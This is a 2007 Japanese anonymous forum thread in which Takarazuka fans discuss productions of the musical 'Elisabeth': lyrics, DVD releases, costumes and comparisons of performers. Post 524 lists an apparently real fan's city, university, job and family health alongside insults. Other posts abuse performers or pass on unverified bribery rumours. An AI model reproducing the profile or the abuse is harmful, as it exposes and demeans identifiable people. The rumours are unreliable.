♪禁じられた愛のタブー
ってＮＧ+ＮＧ＝ＯＫって感じなんですけど、気にしなくていいのかな？

432 ：名無しさん＠花束いっぱい。：2007/08/20(月) 22:26:37 ID:1ffvtOM4

禁じられた愛＝タブー
ＮＧ＝ＮＧ

433 ：名無しさん＠花束いっぱい。：2007/08/20(月) 22:46:41 ID:w+x233rU

>430
㌧クス！
ビデオ見たのが昔過ぎて、フィナーレの一路トートの羽を見た記憶なかったから。
一緒って分かってｽｯｷﾘしたよ。

434 ：名無しさん＠花束いっぱい。：2007/08/20(月) 23:33:00 ID:Rv1bOLxL

もしかしたら既出な質問だったら申し訳ないのだが、

特典DVDの花東京千秋楽って、
みどりのサヨナラショーはついてないよねぇ・・・？

435 ：名無しさん＠花束いっぱい。：2007/08/20(月) 23:44:12 ID:iv0U0zhh

>434
買ってないから詳しいことは知らないけど
特典DVDの花組版は、本編は東宝千秋楽ではないよ。
東宝千秋楽だったら、ｼﾞﾌﾞﾝは買ってたけど。
ミドリシシィの出来が、東宝の楽日だけやたら良かったから。
本編は普通の日の花東宝エリザで、プラス千秋楽の映像だから
てっきりミドリのサヨナラショーだと思ってた。

436 ：名無しさん＠花束いっぱい。：2007/08/20(月) 23:44:34 ID:Lr2VHbbq

434さんへ
みどりさんのサヨナラショーはなかったです。退団の挨拶だけです。

437 ：名無しさん＠花束いっぱい。：2007/08/20(月) 23:57:47 ID:4lc9/SLn

雪エリザのＤＶＤでとなみシシィの私だけにで、何かをふっきったように笑ってから
ナイフをしまうんだけど、シシィ自らの意思でしまってるようにしか見えないから、
その後のルキーニのセリフの閣下が生きながらえさせたがどうも続かない。
既出だと思うけど、となみちゃん、ナ行が全て濁点がつくんだね。鼻炎を治してから
エリザベートをやってほしかった。

438 ：名無しさん＠花束いっぱい。：2007/08/21(火) 00:38:04 ID:lldECb0b

あそこは歴代シシィも笑ってると思うが。
お花も笑顔のまま倒れてたし。
あやちゃんが前を見据えてナイフ収めた瞬間、後ろでトートが表情変えてる。
ルキの台詞に繋がらないと言うなら昔からでは。

439 ：名無しさん＠花束いっぱい。：2007/08/21(火) 01:16:01 ID:G2QP/DR+

434です。

435さま、436さま。
早々にお返答下さってありがとうございました。
サヨナラショーついてたらコンプリートBOX買う決心がついたのだけど
もうちょっと考えてみます。
花エリザが好きだから大分悩む所だ・・・参考にさせて頂きます！

440 ：名無しさん＠花束いっぱい。：2007/08/21(火) 04:07:47 ID:VpfYTPHI

CSでは特典と同じ公演とみどりのサヨナラショーと挨拶やったような気が…
同じ感じで販売されたのかと思ってた

441 ：名無しさん＠花束いっぱい。：2007/08/21(火) 09:08:08 ID:Z+l6+ScM

トート閣下は彩輝直がはまり役だ。
生で観たかった。

442 ：名無しさん＠花束いっぱい。：2007/08/21(火) 11:42:46 ID:zEJKDrMv

さえちゃんはビジュ最高だし、色気と妖しさ出まくりでトート閣下にハマッてたけど、ダンスが(ry

いや、大好きだよさえトート！歌、不評らしいけど俺はハスキーで好き

443 ：名無しさん＠花束いっぱい。：2007/08/21(火) 13:26:00 ID:9JS/ZsLE

さえトート、ビジュアルは一番好き。衣装もよかった。
ほどよい色気、変にくねくねしてないし、淡泊すぎない。

ただし、ダンスは体操、歌は声は太いけど高い音出てない。

444 ：名無しさん＠花束いっぱい。：2007/08/21(火) 13:44:10 ID:yelVmvve

さえこトートって単品ではいいんだけど
あさこシシィがやっぱり男役の強さ・オーラがあるから
負けてる感があるんだよな

さえこトートは娘役シシィと組んだら
もっとよく見えたかもと思う

445 ：名無しさん＠花束いっぱい。：2007/08/21(火) 17:15:45 ID:pBB7J04E

さえちゃんはキレイなのに
トートはなんだか猿っぽくて嫌いだった。
あの黒銀白のロンゲ鬘も似合ってなかった
さえちゃん＆水さんは短髪トートでも良かったかもなぁって思う。

446 ：名無しさん＠花束いっぱい。：2007/08/21(火) 22:10:55 ID:GHYfgrob

鈴奈ヴォルフ大げさすぎて嫌だった。
娼館の主人にしても下品すぎて･･･。

447 ：名無しさん＠花束いっぱい。：2007/08/22(水) 09:49:30 ID:Wcbc+z+0

>431
禁じられた「愛のタブー」、じゃないのかな？

愛のタブー＝黄泉の帝王が人間を愛する、ことを禁じられてる、
ってことで。

448 ：名無しさん＠花束いっぱい。：2007/08/22(水) 14:18:07 ID:KMJ0G/uu

それだと「禁じられた」「愛の禁忌」と
禁止が二重になっておかしいのでは？という意味だとｵﾓ
日本語はむずかしいなぁ～

「禁じられた愛に踏み出す」もしくは
「愛のタブーに踏み込む」が文法的には正しいのかな？

449 ：名無しさん＠花束いっぱい。：2007/08/22(水) 14:53:54 ID:sM4GnQ7r

さえちゃんは、顎下の肉が気になった
不敵に微笑んでもその肉が雰囲気を掻き消すっちゅーか…
ダンスはどのトートより酷かった
でも歌は本人比でよくなってたし、衣装も好きだったな
まぁアサコシシィには負けちゃうよなー

450 ：名無しさん＠花束いっぱい。：2007/08/22(水) 19:18:59 ID:tRop+SmU

>>448それ、初めて聴いた時から思ってたｗ

こだまっちの「錆びたコイン　今は色褪せて」、
谷の「愛　アモーレ」と並ぶ、意味重なってますよソングだ。

451 ：名無しさん＠花束いっぱい。：2007/08/22(水) 20:02:03 ID:zcSSEBKe

教えてチャンですみません。
パレードで革命家3人が降りてくるときの、歌詞、何て言っているのでしょうか？
♪古き○○・・に別れつげ、架け橋築こう、
　今日より始めましょ、○○・・・♪

452 ：名無しさん＠花束いっぱい。：2007/08/22(水) 20:59:49 ID:JmGTu9m2

初演雪・星・宙組の実況を聴いてみた限りでは「古きに分かれ告げ」で良いと思いますが。
再演雪では違うのかな？
その先は「今日より始めましょう、二人の友情」かと。

453 ：名無しさん＠花束いっぱい。：2007/08/22(水) 21:01:13 ID:JmGTu9m2

う、分かれ、じゃなく、別れ、です。もちろん。

454 ：名無しさん＠花束いっぱい。：2007/08/22(水) 21:10:09 ID:PpYCn8XT

古き楔に別れ告げ、
二つの国の友情を
のハズ

455 ：名無しさん＠花束いっぱい。：2007/08/22(水) 21:15:24 ID:y83cLkSe

>454
それ戴冠式の場面の歌詞ｗ
パレード革命家のとちょとﾁｶﾞｳ。

456 ：名無しさん＠花束いっぱい。：2007/08/22(水) 21:31:23 ID:JmGTu9m2

>>452
便乗で逆質問なのですが、今はここのパートって、革命家の３人降りなのでしょうか？
ようつべで散々見た初演雪のパレードでは、エルマーとマデレーネの２人降りなもので。

457 ：名無しさん＠花束いっぱい。：2007/08/22(水) 22:17:25 ID:ljK+qTVu

花エリザの特典、千秋楽の映像じゃないんだーorz
月は千秋楽だよね？
ちなみに花エリザ特典、音がかなり悪いです。
マイクなしの人の声が拾えてない。
カメラも引きすぎな感じ。
花エリザの千秋楽はいつお披露目されるんだ！？

458 ：名無しさん＠花束いっぱい。：2007/08/22(水) 22:50:28 ID:d3PRwlyM

>451,452
古き日に別れ告げ　架け橋築こう>456
番手やら退団者やらの兼ね合いもあるよ
初演雪はﾏﾃﾞﾚｰﾈ役が当時２番手娘役だったのもあって大劇は和央と階段降り
東宝は和央がﾙﾄﾞﾙﾌに繰り上がったので現星ﾄｯﾌﾟの安蘭と二人で階段降り

その前に降りてくる３人組が
大劇：少年ﾙﾄﾞﾙﾌ安蘭と大劇で退団した黒天使(男役では学年一番上)、東宝で退団したｼｭﾃﾌｧﾝ役
東宝：繰り上がって男役で学年一番上になった黒天使と革命家２人(和央の繰り上がりでこちらも役替わり)

初演星は確か革命家３人でｴｰﾔﾝ、古き日にの所は退団の
男役(やや路線より)と娘役２人だったかと

記憶が星に関しては若干ｱﾔﾌﾔなんでﾌｫﾛｰよろ

459 ：458：2007/08/22(水) 22:52:26 ID:d3PRwlyM

綺麗に改行できてなかったorz
見辛くてﾓｳｼﾜｹﾅｽorzorz

ﾎﾝﾄは>458の>456の前で改行したかったの

460 ：名無しさん＠花束いっぱい。：2007/08/23(木) 04:42:09 ID:7IKwpm5o

>>458
詳しい解説ありがとうございます。

古きに…のところは本来二人降り（歌詞も「二人の友情」ですし）のところを
今回は三人降りになっているので、微妙に違和感があるのですね。

461 ：名無しさん＠花束いっぱい。：2007/08/23(木) 08:48:22 ID:bmlhZBPF

この場合の二人はオーストリーとハンガリーなので、人数はそんなに関係なくない？

462 ：名無しさん＠花束いっぱい。：2007/08/23(木) 10:48:40 ID:7IKwpm5o

いや、パレードの時の歌詞は、パレード向けに一部書き変わってる。
「僕はママの鏡だから」→「僕は君の鏡だから」とか。
「二つの国の友情」→「二人の友情」も、男女二人降りに合わせたように思う。

463 ：名無しさん＠花束いっぱい。：2007/08/23(木) 14:28:02 ID:nn2q4DDm

エリザの超早回しの｢ﾄﾘの～よぉに～ﾄｷﾊ～ﾅﾀﾚﾃ～｣だけは
なんとかしてやってほしいと毎回思う＞パレード

464 ：名無しさん＠花束いっぱい。：2007/08/23(木) 15:26:42 ID:pwBvpWWn

便乗して質問しちゃいますが
エリザ新公でカットされる場面ってどこですか？
どうやら2幕の病院のシーンはカットのようなのですが・・・

465 ：名無しさん＠花束いっぱい。：2007/08/23(木) 15:40:08 ID:ETLXNZgJ

星
古き
神田くん(88入団）&まりさ(万理沙ひとみ）のはず

月は
もり・ひろ・めお→ほく・さららん・るいるい→ユヒ
だったはず

466 ：名無しさん＠花束いっぱい。：2007/08/23(木) 15:48:30 ID:TwfCxejN

いや、月は
ひろみ・るい・もりえ→めお・さららん・ほく

467 ：名無しさん＠花束いっぱい。：2007/08/23(木) 17:47:15 ID:jhjPSfD8

>465
思い出したのでｶｷｺ
下手から陵・神田・万理沙の３人だったﾊｽﾞ
ﾏｻｷがｾﾝﾀｰ降りしてたの覚えてるから

468 ：名無しさん＠花束いっぱい。：2007/08/24(金) 11:10:46 ID:bodavgk+

96雪　大劇
京さん(高倉)・トウコ・レオ(有未)→たかこ・ゆり(星奈)→タータン

96雪　東京
京さん・タマオ(楓)・ケロさん→トウコ・ゆり→タカコ

星
あっこ(陵)・マリサ(万理沙)・カンダ君(神田)→
サエコ・わたる・クジョラ(久城)→ブンちゃん

宙大劇
あきよ(南城)・はっちゃん(初嶺)・あかり(久路)→
まや(久遠)・ねったん・ヒナ(朝比奈)→コム

宙東京
あきよ(南城)・はっちゃん(初嶺)・あかり(久路)→
まや(久遠)・ねったん・ヒナ(朝比奈)→じゅりぴょん

469 ：名無しさん＠花束いっぱい。：2007/08/24(金) 11:12:51 ID:bodavgk+

花
ここがあやふやなんだが、
さらばが無しで

みわ・蘭トム・まつ→ゆみこ
だっけなぁ

月
もりえ・るい・ひろみ→めお・さららん・みっちゃん→ウヒ

07雪
きたろう・いづるん→コマ・ひろみ・キング→テル

訂正ﾖﾛ

470 ：名無しさん＠花束いっぱい。：2007/08/24(金) 17:00:14 ID:7drdNXIA

>463　エリザが階段降りしてくるところ、
みどりエリザは登場から下まで一度もまばたきしてないので驚いた。
（花大劇のほう、東宝は未確認）

それにしても、花組の東京千秋楽の映像撮ってないなんてなぁ。
みどりちゃんさよならショーは映像あるのに（前スカステでやったよね）片手落ちだよ。

471 ：名無しさん＠花束いっぱい。：2007/08/24(金) 21:00:16 ID:X9CJR/cR

>470
あるだけありがたいと思え
初演雪・星・宙なんて今あるDVDだけだ

472 ：名無しさん＠花束いっぱい。：2007/08/25(土) 10:50:36 ID:CBqO9uTd

451です
遅ればせながら、皆さんたくさんの御回答をありがとうございました。

473 ：名無しさん＠花束いっぱい。：2007/08/25(土) 22:56:00 ID:jxKUI5ka

>>448
仲間がいてくれて助かりました。
そういう捉え方はおかしいとみんなにいじめられていました。
やはりおかしいですよね。
武士という侍が馬から落ちて落馬して…あれみたい。

474 ：名無しさん＠花束いっぱい。：2007/08/26(日) 17:27:32 ID:XALrHIp/

こんなに、何度も何度も、過大でもない、普通程度の期待さえ裏切られ
贔屓組なのに、本当に楽しみに観に行ってるのに、後味よくなく帰途に着く…
やる気ないのなら、もしくはやる気あっても満足にやれないんだったら
お願いだから、早めに身を引いてくれないか
前までは、時に目に見えて気を抜いててもまだ、仕方ないんだろうとか思えた
集中してるときは実際凄いから、常にそれだと倒れるよね、加減は必要だね、って
しかしいくらなんでも、ここにきて度々これじゃ、なんかむなしい気分になるんだよ
なんで贔屓組だったんだろうって恨めしくもなるよ
なのに何だ？あの、歯の浮くような絶賛ばかりの寒い盛り上げぶりは…
DVD化しろだと？ふざけんなよ…周りはいくら良くてもセンターがアレなんだぞ？
こんなこと思う自分が嫌だけど、今度で本当にどうしようもなく失望しちまったorz

475 ：名無しさん＠花束いっぱい。：2007/08/26(日) 17:28:41 ID:XALrHIp/

誤爆…orz

476 ：名無しさん＠花束いっぱい。：2007/08/27(月) 23:53:28 ID:uh2RpoGH

....で、結局どのスレに書きたかったの？贔屓組はどこかな。

477 ：名無しさん＠花束いっぱい。：2007/08/28(火) 01:08:57 ID:8LjowO7V

ＤＶＤ化で騒いでんなら博多か舞姫か

478 ：ん：2007/08/28(火) 13:09:05 ID:8R4cfcTp

ずっと前に花ﾁｬﾝが【鏡の間】から出て来る白い衣装は個人で提供したって噂がありましたよね？
本当はどうなのでしょうか？？

479 ：名無しさん＠花束いっぱい。：2007/08/28(火) 16:24:00 ID:1vlEdlCm

>>478
ホントだとｵﾓ

ただ、レースだけと聞いた。
フランスだかどこかの手織りのレースだって。
2000万って。

でも、金の出所は、女帝本人または実家。

480 ：名無しさん＠花束いっぱい。：2007/08/28(火) 16:36:20 ID:1vlEdlCm

ﾜﾀｸｼが聞いた話では、
女帝にしても、だれにしても、

トップなど、着替えのお衣装がたくさん必要な生徒に
スポンサー･実家・・・から　衣装代が出してもらえると

予算を下級生にもまわせるから
舞台が豪華になると。

481 ：名無しさん＠花束いっぱい。：2007/08/28(火) 16:43:59 ID:F5cPcM0v

>>470　花組東京千秋楽、劇場にはカメラはずっと入っていたのだが。
みどりちゃんさよならショー以降しか撮ってないのかな？
本編も皆熱演してて、すごく良かったのにな～。もったいない！

482 ：名無しさん＠花束いっぱい。：2007/08/28(火) 16:49:12 ID:Ou99F7kg

連投ごめん
千秋楽映像はニュースで流れたよね
それでいいから放送（DVD化)してほしい。

483 ：名無しさん＠花束いっぱい。：2007/08/28(火) 17:51:27 ID:ZsJa8Nw1

カメラ１台だったんじゃないの？
映像を収録するときは、東宝だと3台入るのが普通だけど。

484 ：名無しさん＠花束いっぱい。：2007/08/28(火) 18:08:26 ID:P1RAhbq2

>479
2000万は嘘。そんなに高価な生地じゃないよ。

485 ：sage：2007/08/28(火) 19:01:50 ID:1M4Je0Pm

>>478
嘘だよ。
醍醐天皇の末裔とかと同じ都市伝説。
花總の自前と言われてるが、そんなことはないと
上級生や衣装部の人が言ってた。
なんでそんな噂になっちゃったのか、
みんな面白がって話してたけどね。

486 ：名無しさん＠花束いっぱい。：2007/08/28(火) 19:06:15 ID:wpolwqya

１０００万ドレスと紹介されたことなかったっけ？
宝塚アカデミアで見たのかな～

487 ：名無しさん＠花束いっぱい。：2007/08/28(火) 19:08:29 ID:eqngMMUx

>479

484も書いてるけど、鏡の場面のドレスのレースはかなり安物。
むしろ、初演のバートイシュルのブルーのレースの方が数段高級。
高級レースを見たことがない人には判らないかもしれないけど、生地感が全然違う。
パリコレのオートクチュール・コレクションなんかで使われているレースは全然違うから。
まして手織りなら、もっと違う織り柄になる。

この間、大きな生地屋のカーテン売り場のレース地を見てたら、そっくりのレースが１メートル千円以下で売ってたｗ
服を縫ったことがない人には判らないかもしれないけど、イメージが合えばカーテン地は充分服に使える。
一番大事なのは、服のイメージにあった予算内の生地。

488 ：名無しさん＠花束いっぱい。：2007/08/28(火) 20:36:22 ID:XlsTIssr

コミケで鏡の間のドレスでコスがいたから
案外作りやすいのかなとは思った

489 ：名無しさん＠花束いっぱい。：2007/08/28(火) 22:24:43 ID:u/g4klcL

>488　あの暑い日に、あのコスをする人がいたのか？！
すごいなー、見たかったw

490 ：名無しさん＠花束いっぱい。：2007/08/28(火) 22:57:48 ID:Bu+hZ6ev

エリザご一行様、二組いたお。
どっちもお見事ﾃﾞｽﾀ！

491 ：名無しさん＠花束いっぱい。：2007/08/29(水) 01:17:27 ID:6qx4hzRi

>471
超亀だが
ﾏﾘｺさんのの東京は残したかった｡ﾟ(ﾟﾉД`ﾟ)ﾟ｡
すんごく上達したのに(あくまでﾂﾞｶﾏﾘｺ比だが)

492 ：名無しさん＠花束いっぱい。：2007/08/29(水) 01:44:15 ID:YBu2Iaev

禿同…星組はだんとつ東京が良かった。
とくに中日以降ね。やはりマリコ比だけど…

493 ：名無しさん＠花束いっぱい。：2007/08/30(木) 01:57:53 ID:hfxBOmM+

生は見てないけど、
ミュージカル誌でも書かれていたのは後から読んだ。
星の東京を残してあげたかった・・・と。（後藤田さん？）

494 ：名無しさん＠花束いっぱい。：2007/08/30(木) 02:03:25 ID:JjBYi69u

>493
後藤田さんぢゃなくて小藤田さんだ＞ﾐｭｰｼﾞｶﾙ誌に１ヵ月の観劇日誌を書いてるのは

ちなみに後藤田だと女優の水野真紀の現姓になっちまうよw＞旦那は政治家

495 ：名無しさん＠花束いっぱい。：2007/08/30(木) 10:24:47 ID:UPv9IQ4u

退団後の最初の狸の和風トートも残してほしかった。
白塗りと和装と扮装が見事にマッチしてて息をのんだよ。
話はコメディーだったけど、初風シシィ・峰フランツの歌は絶品だったし。

496 ：名無しさん＠花束いっぱい。：2007/08/30(木) 14:21:27 ID:f7S4vt08

あー和風トートはアリかもしれんなぁー…
あと時々話題にでるけど短髪トートも捨てがたい。
お耽美系ばかりでなく、つんつん髪にパンクな衣装の閣下も見てみたい。

497 ：名無しさん＠花束いっぱい。：2007/08/30(木) 20:52:00 ID:xhzwaR2r

>495
初演ﾍﾞﾙばらあたりの人がエリザをやってなくてよかったと思う
演技指導だのなんだの、イベントにもしゃしゃり出てきて先輩風吹かせそうでさ

498 ：名無しさん＠花束いっぱい。：2007/08/31(金) 23:36:22 ID:/4DQS/63

asso

499 ：名無しさん＠花束いっぱい。：2007/09/02(日) 18:27:46 ID:/eF/tLOy

エリザベートは一路さんのイメージが強かったけど、目が覚めた。
いま発売中のDVDの宣伝を見て鳥肌がたった。
水さんって、凄いはまり役かもしれませんね。

500 ：名無しさん＠花束いっぱい。：2007/09/02(日) 19:04:29 ID:IL/JvLH8

>>499
自分もエリザは絶対初演だ！っていうイメージが強かったのに、
今回の雪観て同じ事思ったよ。
今まで水の事を何とも思わなかったのに、トートで惚れてしまった…orz

501 ：名無しさん＠花束いっぱい。：2007/09/02(日) 22:15:50 ID:obIC6ZUx

うん！！
水さんのトート最高だ～～～！

502 ：名無しさん＠花束いっぱい。：2007/09/02(日) 22:38:46 ID:9k7Lbbb9

初演雪階段降りメンバーのトップ率の高さは異常。

503 ：名無しさん＠花束いっぱい。：2007/09/02(日) 22:45:18 ID:Ai+11BXw

昔の映像でトップ率高いのなんて、どこの組も同じもん。
ご贔屓組が１番と思いがちだけど。

504 ：名無しさん＠花束いっぱい。：2007/09/02(日) 22:49:54 ID:YPyek5fY

>>501
うん。
今までまったくミズに興味なかったけれど、
エリザ観て今までの自分の宝塚人生を悔いたよ。
好みはいろいろ別れると思うけれど、
ミズのトートは自分的には史上最高だった。

505 ：名無しさん＠花束いっぱい。：2007/09/02(日) 22:53:49 ID:o2mpXlu/

どうした？水ファン。
今さら盛り上げても、劇団の評価は変わらないのに。

506 ：名無しさん＠花束いっぱい。：2007/09/02(日) 22:56:47 ID:isiyUUtZ

漏れは水好きだったが、あのトートはちょっと期待外れだったな・・・
役作りはともかく、鬘、衣装など肝心のビジュアルが受け入れられなかった。

507 ：名無しさん＠花束いっぱい。：2007/09/03(月) 08:50:47 ID:BVkNbRHe

劇団の評価が水にトートをさせたってことじゃね･････505
そだね、水と出会えば人生2倍楽しめるかもな･････504

508 ：名無しさん＠花束いっぱい。：2007/09/03(月) 08:54:35 ID:vNDAw9LL

>>507
結果の評価のことでしょｗ
棚ボタキャスティングだったわけだし。

509 ：ん：2007/09/03(月) 10:50:32 ID:YBuk1t5J

水ｻﾝのトートって怖い表情が何とも良い感じ。
眉間の立てｼﾜが怖くて...本当に死神に見えた！
しかし、ＤＶＤは舞台よりも白羽ｻﾝだけは素敵に役をこなして見えたのが不思議...。

510 ：名無しさん＠花束いっぱい。：2007/09/03(月) 11:23:14 ID:F2Y5c8lp

水さん絶賛のスレだけ上げてあるのは同一という事でしょうか？
それとも煽りでしょうか？

511 ：名無しさん＠花束いっぱい。：2007/09/03(月) 16:21:39 ID:ntSQnTuj

アンチのお仕事です。

512 ：名無しさん＠花束いっぱい。：2007/09/03(月) 22:17:49 ID:Wxd6ZDb8

アンチの務め
朝5時きっかりにPC立ち上げ

とか考えちまったよｗ

513 ：名無しさん＠花束いっぱい。：2007/09/04(火) 18:14:09 ID:Yf9cCNYB

音月さん最高～～！！

514 ：名無しさん＠花束いっぱい。：2007/09/05(水) 16:31:45 ID:KB76fZuV

ニコニコで過去のエリザ見るとかなりショボく見える水トプのエリザ。
歌が下手なトートいらねｗ

515 ：名無しさん＠花束いっぱい。：2007/09/05(水) 17:18:09 ID:YnKAE8xK

>>514
まりこさんと、さえちゃんに、
失礼だぞ！

516 ：名無しさん＠花束いっぱい。：2007/09/06(木) 19:55:28 ID:lgQnv0Eu

初演の雪と花と宙のエリザ以外はカス。
凰稀かなめのルド何あれ？新人公演の方も駄目。雪死ねよ

517 ：名無しさん＠花束いっぱい。：2007/09/06(木) 21:02:24 ID:it0WIptZ

う～～ん歌以外だとカスは初演雪トート、宙トート。
何あれ、突っ立ているだけが脳がない演技と
やたら暴れん坊やんちゃ坊主演技、ケッ！

518 ：名無しさん＠花束いっぱい。：2007/09/06(木) 21:48:15 ID:lgQnv0Eu

歌が下手な主演はさっさと辞めれ。不細工なら尚更、ねぇ水夏希

519 ：名無しさん＠花束いっぱい。：2007/09/06(木) 22:19:07 ID:zk0pvYaz

不自然な賞賛レスが続いた後は不自然なアンチレス
アンチも信者も忙しいな。

520 ：名無しさん＠花束いっぱい。：2007/09/06(木) 23:06:11 ID:STbf8ViT

でも、その他のキャストは置いといても今回の雪ルドは自分もひどいと思ったよ
本公のかなめしかり新公のきんぐしかり
見栄えがいいだけで何も出来ない子は重要な役をやらせないで欲しいわ

521 ：名無しさん＠花束いっぱい。：2007/09/06(木) 23:10:46 ID:lgQnv0Eu

>>520激しく同意
ルド、好きな役だけあり新公までカスで切なくなったぜよ。つかコマトートも駄目
見た目だけの実力なしのジェンヌマジいらね

522 ：名無しさん＠花束いっぱい。：2007/09/06(木) 23:21:21 ID:YwtNm7oG

コマトート、見た目もいけていなかったと思うが・・・

ミズトートも見た目も歌も×だったから本役に合わせたのか・・・

523 ：名無しさん＠花束いっぱい。：2007/09/06(木) 23:32:02 ID:xfGR67Ex

http://jp.youtube.com/watch?v=7nGJdY5MIwg

524 ：貴女の隣にいますよ：2007/09/15(土) 12:47:11 ID:3/ocT/3D

墾田永年（別名キトリ・妄想サイトの店長）のスペック
・福岡在住
・福岡女学院大生
・英語でミュージカルをしてますっ♪
・親と同居
・母親が更年期障害
・お金が無い（なけなしのお金で地元の博多座や福岡市民会館に行く）
・福岡市内のホテルでバイト
・大劇場と東宝には殆ど行った事が無い（三階席が無いのを知らない）
・金持ちコンプレックス
・家柄コンプレックス
・宝塚不合格歴あり（心に深い傷を負う）
・虚栄心が非常に強い（貧乏をからかわれるとムキになり見栄を張る）
・虚言癖（親戚OGが興信所に行ってジェンヌの調査を依頼している、現役月組生と知り合い）
・麻子様似
・ときおりあやね似
・好きなカップリング・・麻子様受マンセー
・気分転換はバイトの合間に妄想サイトの晒し活動
・タンタンの人気が妬ましい
・餌を与えないで下さい
つ自演乙

525 ：名無しさん＠花束いっぱい。：2007/09/15(土) 13:47:27 ID:EyfhUVcW

キングって絶対にソウカか金積んでるね

526 ：名無しさん＠花束いっぱい。：2007/09/18(火) 13:56:04 ID:9vuC0jUh

纏め

水主演の雪組エリザベートは最高にｶｽで下手で最悪。
新公もそれ以上にｶｽ。

はい、終了

527 ：名無しさん＠花束いっぱい。：2007/09/19(水) 02:38:05 ID:sOZ6ZYzm

宙組好き、ズンコさん好きなのに宙エリザにガッカリした漏れが通りますよ

528 ：名無しさん＠花束いっぱい。：2007/09/20(木) 09:47:48 ID:05Fbp+hb

「コンプリートボックス」の特典ディスクを観たんだけど
きりやんの低音が全然出ていなくてイライラしたんだが。
みなさん上手と絶賛されていたからなんかガッカリ。
千秋楽だから疲れていたんでしょうか？

あと雪組のハマコゾフィーのばばぁっぷりが見事だった。

>527　1000daysに観に行ったとき隣に座っていたズンコさんファンが
「今日は気合いが入りすぎー昨日はあんなにやる気なさそうだったのにー」
とかぼやいていたのを思い出した。

529 ：名無しさん＠花束いっぱい。：2007/09/20(木) 23:47:56 ID:CVAjSKrE

千秋楽だから疲れていたんじゃないの？
つか普通の大劇DVDはそんなことないと思うが・・・

530 ：528：2007/09/21(金) 10:16:40 ID:bDbrzTGt

普通の大劇DVDも生も観ていないので、
月組エリザは特典ディスクが初見なんです。
やっぱ楽公演で疲れていたんでしょうね。
表情とかせりふ回しとかは上手いし高音はめちゃウマだけどなーと思って。

次回エリザをするなら全キャストオーディションで決定してほしいな。
トートはとうこかきりやんで。
組・番手関係なく歌の上手い方だけに歌わせて欲しい。

531 ：名無しさん＠花束いっぱい。：2007/09/22(土) 00:08:44 ID:y546+/vv

ミズトートは確かにひでぇ歌だったけどな…

やはしマリコトート最強だとｵﾓ
闇広で三半規管が狂ったのは後にも先にも星エリザだけだ

532 ：名無しさん＠花束いっぱい。：2007/09/22(土) 09:32:00 ID:YbUykyqQ

星ｴﾘｻﾞDVD、プロローグで挫折してそこから先に進めなかった
耳ﾄﾗｳﾏにより、再チャレンジする気になれないでいる

533 ：名無しさん＠花束いっぱい。：2007/09/22(土) 11:08:14 ID:j+vU4v4p

とうこは身のこなしがおじさん風になりそうだし、
きりやんはビジュアルがひどい。
おさの体操闇広も最悪だった。
この３人のは、CDで充分。

534 ：名無しさん＠花束いっぱい。：2007/09/26(水) 01:33:44 ID:sZneY20I

きりやん好きだけどルキーニはだめだった・・。
なんか陽気なイタリアのおっちゃんに見える。
ぺペロンチーノいっかが～？みたいなW
凶器めいたものは不得意なのかなあ・・・。

535 ：名無しさん＠花束いっぱい。：2007/09/26(水) 05:26:03 ID:MUTELnPU

>>534まぁ・・・イタリア人ってのだけ抽出しちゃったんだろうか、とは思ったことあるがｗ
霊廟とか「ルキーニ」として出る所はもう少し狂気じみててもよかったような。

ビジュアルは理事の次にいいと思ってる＜きりルキーニ
あさこはかっこよかったが、パーマかかってなかったからなぁ・・・別格かｗ
リカさんは暗殺者っぽかったがルキーニって感じがしなかったし、キムは可愛さが先に立ってた。
わたるは髭が・・・言っちゃ悪いがなんであんなきたな(ry

536 ：名無しさん＠花束いっぱい。：2007/09/26(水) 05:34:06 ID:5BfNr1Z7

わたるルキーニは本当に男が出てきたのかと思った

537 ：名無しさん＠花束いっぱい。：2007/09/26(水) 09:03:35 ID:tPHD/lM0

うん。でも本当に歌が下手だった。

538 ：名無しさん＠花束いっぱい。：2007/09/26(水) 09:45:33 ID:GYF6AbSX

けぎらいが、人生半分損しとる。
せっかく出会えてるのに…
ああ、モッタイナイ

539 ：名無しさん＠花束いっぱい。：2007/09/26(水) 12:30:05 ID:Dl2nGvPI

漏れは、ビブラートきかせまくりで男役である事すら忘れたように酔いしれ唄ってるトートよか、サエミズトートは好きだったよ。

540 ：名無しさん＠花束いっぱい。：2007/09/26(水) 13:09:01 ID:MUTELnPU

確かにさえトートはあんまり酔ってなかったのがよかったｗ
ダンスは酔っ払(ry

友人は、さえトートといえば、運動の間でシシィに手を伸ばした時、拒絶されて手が震えてるのが、
ダチョウ倶楽部の「ヤーッ！」に見えたことと言っていた・・・

541 ：名無しさん＠花束いっぱい。：2007/09/28(金) 13:28:02 ID:/bPdQK7R

トートは、
歌か演技かアンサンブルか、よいトコ見つけて
それぞれ個性を楽しむようにしている・・・

でも、月のびらびらの装飾華美な衣装は邪魔におもえた。
新・雪のシンプルさが、以外によかったけど・・・

軍服の開襟だけは、ぜ～～ったいバツ×！！！

542 ：名無しさん＠花束いっぱい。：2007/09/28(金) 22:18:06 ID:i7npaRjW

>541
それでもキムルキのパレードの軍服はあまりにペラペラで可哀相だった
歴代ルキは一応ベルベット素材で金or銀モールだったのに

CD・DVDスレでもちょこっと書いたけど、エリザCD、月が宝塚○ンで
予約中止になってるのが意外だった（主演が歌手じゃないから）
花と宙はわかるけど

543 ：名無しさん＠花束いっぱい。：2007/09/28(金) 22:31:43 ID:FcRaAzwf

毎回思うんだが、劇場で観ると「そこそこ」よく見える
しかし、改めてDVDで観たときよっく見える
改めてDVD
今回の雪は「俺的には」ひどかった
あくまで自分視点
DVDで観ると、かなめ余計ヒドイ
キム普通過ぎる、ミズはシャクレがまるわかり

初代雪、花が個人的には劇場もDVD（花は・・・）も良かった
やっぱミュージカルは歌が基本でしょ
学芸会やないんやから
なんでトップが、しかも良いミューで歌下手やねん

544 ：名無しさん＠花束いっぱい。：2007/09/28(金) 22:37:56 ID:ddHeRiUq

んー、なんか宝塚だと二分の一の確立で歌下手トートだから、もう慣れちゃったよｗ

でも最近ずんこと井上ヨシオ君の戦いのような闇が広がるを見て
「あー本来こういうものだったんだ」とも思った。

545 ：名無しさん＠花束いっぱい。：2007/09/29(土) 17:24:59 ID:rcGgkW7h

エリザはもう歌を楽しむか、ビジュアルを楽しむかのどちらかだと思ってる。
今までで全く駄目！って組はなかったなあ。
歌上手好きだけど、
星はりかさん以外の全主要キャスト（特にノルさんとぶんちゃん見直した）に心打たれたし、
月も雪も見た目が劇画タッチでよかった。

リかさんが嫌いじゃなくて、わたるさんもだけどなんかルキー二メイクがあまりにも汚く見えて駄目だった・・・。

